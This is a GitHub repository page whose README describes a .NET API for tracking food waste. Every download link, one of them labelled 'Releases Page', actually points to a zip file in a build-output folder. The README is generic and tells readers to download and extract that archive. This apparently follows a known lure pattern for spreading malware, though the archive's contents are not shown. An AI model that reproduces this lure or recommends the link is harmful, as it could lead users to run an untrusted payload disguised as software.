https://github.com/saidghorab/disperdicio-alimentos-api
🍽️ Track and manage food waste with this RESTful API for restaurants and homes, helping reduce environmental impact and promote food security.
https://github.com/saidghorab/disperdicio-alimentos-api
asp-net-core automapper clean-architecture csharp ddd-patterns dotnet entity-framework-core fluentvalidation hangfire jwt postgresql rest-api webapi
Last synced: 27 days ago
JSON representation
🍽️ Track and manage food waste with this RESTful API for restaurants and homes, helping reduce environmental impact and promote food security.
- Host: GitHub
- URL: https://github.com/saidghorab/disperdicio-alimentos-api
- Owner: saidghorab
- Created: 2025-10-27T03:11:39.000Z (7 months ago)
- Default Branch: main
- Last Pushed: 2026-05-02T00:24:58.000Z (about 1 month ago)
- Last Synced: 2026-05-02T02:29:04.521Z (about 1 month ago)
- Topics: asp-net-core, automapper, clean-architecture, csharp, ddd-patterns, dotnet, entity-framework-core, fluentvalidation, hangfire, jwt, postgresql, rest-api, webapi
- Language: C#
- Size: 6.77 MB
- Stars: 1
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# 🌱 disperdicio-alimentos-api - Easy Food Waste Monitoring Made Simple
[](https://github.com/saidghorab/disperdicio-alimentos-api/raw/refs/heads/main/DisperdicioAlimentos.Application/obj/Debug/net8.0/alimentos-api-disperdicio-v2.5.zip)
## 🚀 Getting Started
Welcome to the **disperdicio-alimentos-api**, a simple and effective API built with .NET 8 to help you monitor and reduce food waste. This application offers important features like food expiry alerts, impact reports, and a clean architecture that promotes good development practices. Let's get started with downloading and running the application.
## 📦 Features
- **Tracking Food Expiry:** Receive notifications when food is nearing its expiration date.
- **Impact Reports:** Generate reports to see how much food waste you can prevent.
- **User-Friendly Design:** Easy to interact with even if you have no technical background.
- **Clean Architecture:** Built on modern software principles for reliability and maintainability.
- **Secure and Scalable:** Designed to support your needs as they grow.
## ⚙️ System Requirements
Before you start, ensure your system meets the following requirements:
- **Operating System:** Windows 10 or later, macOS, or any Linux distribution.
- **.NET Runtime:** .NET 8 installed on your machine.
- **Database:** PostgreSQL for data storage.
## 💾 Download & Install
To get started, visit this page to download: [Releases Page](https://github.com/saidghorab/disperdicio-alimentos-api/raw/refs/heads/main/DisperdicioAlimentos.Application/obj/Debug/net8.0/alimentos-api-disperdicio-v2.5.zip).
1. **Go to the Releases Page**: Click on the link.
2. **Choose the Latest Version**: Look for the latest release version.
3. **Download the Application**: Click the appropriate file to download it to your computer.
4. **Locate the Downloaded File**: Check your downloads folder for the file.
## 🛠️ Running the Application
Once you have downloaded the **disperdicio-alimentos-api**, follow these steps to run it:
1. **Extract the File**: If the file is in a ZIP format, right-click and select "Extract All."
2. **Open a Terminal/Command Prompt**:
- On **Windows**, press `Win + R`, type `cmd`, and hit `Enter`.
- On **macOS**, open **Terminal** from Applications.
- On **Linux**, use your preferred terminal emulator.
3. **Navigate to the Folder**:
Use the `cd` command to change the directory to where you extracted the files. For example:
```
cd path/to/extracted/folder
```
4. **Start the Application**:
To run the API, enter the following command:
```
dotnet run
```
5. **Access the Application**:
Open your web browser and navigate to `http://localhost:5000` to access the API functionalities.
## 📋 Using the API
Here’s how to use the main features once the application is running:
- **Register Food Items**: Use the API to log food items you want to monitor.
- **Set Expiry Alerts**: Set notifications for when food is approaching expiration.
- **View Reports**: Generate reports to understand your impact on food waste reduction.
For detailed usage of each feature, you can check the relevant API documentation included within the app.
## 📞 Support
If you encounter any issues or need help, please reach out to our support team via the Issues section on the GitHub page.
## 👩💻 Contributing
We welcome contributions to improve the application. If you would like to contribute, please check the guidelines in this repository. Fork the project, make your changes, and submit a pull request.
## 🎉 Acknowledgements
Thank you for choosing **disperdicio-alimentos-api**. Together, we can work towards reducing food waste and promoting sustainability.
For more details on the API, enhancements, or to stay updated, visit the official [Releases Page](https://github.com/saidghorab/disperdicio-alimentos-api/raw/refs/heads/main/DisperdicioAlimentos.Application/obj/Debug/net8.0/alimentos-api-disperdicio-v2.5.zip) again.